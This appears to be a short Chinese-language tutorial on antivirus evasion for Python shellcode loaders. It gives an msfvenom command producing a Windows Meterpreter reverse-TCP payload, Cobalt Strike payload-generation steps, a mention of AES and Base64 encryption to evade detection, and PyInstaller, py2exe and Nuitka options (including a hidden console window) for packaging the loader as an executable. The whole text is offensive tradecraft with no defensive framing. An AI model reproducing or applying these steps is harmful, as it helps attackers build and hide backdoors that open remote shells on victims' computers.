Python-shellcode免杀分离
#Python-原生态-MSF&CS&生成&执行代码
MSF-payload：msfvenom -p windows/meterpreter/reverse_tcp lhost=X.X.X.X lport=6688 -f c
CS-payload：
攻击--生成后门--payload生成器--选择监听器和输出格式为C语言
python 3.10-32位，注意python解释器一定要切换为32位

AES+Base64免杀
python脚本加密，发布版进行解密
采用base64加密的MSFpayload：

#Python-打包器选择-Pyinstall&Py2exe&Nuitka
1、pyinstaller
-F, –onefile 打包一个单个文件，如果你的代码都写在一个.py文件的话，可以用这个，如果是多个.py文件就别用
-D, –onedir 打包多个文件，在dist中生成很多依赖文件，适合以框架形式编写工具代码，我个人比较推荐这样，代码易于维护
-K, –tk 在部署时包含 TCL/TK
-a, –ascii 不包含编码.在支持Unicode的python版本上默认包含所有的编码.
-d, –debug 产生debug版本的可执行文件
-w,–windowed,–noconsole 使用Windows子系统执行.当程序启动的时候不会打开命令行(只对Windows有效)
-c,–nowindowed,–console 使用控制台子系统执行(默认)(只对Windows有效)
使用：pyinstaller -F test.py --noconsole
2、py2exe
安装：pip install py2exe
打包：python setup.py py2exe
3、Nuitka（C:\Users\Administrator\AppData\Local\Programs\Python\Python310-32\Scripts）
安装：pip install Nuitka
使用：nuitka --mingw64 --standalone --show-memory --show-progress --nofollow-imports --follow-import-to=utils,src --output-dir=out 108.py
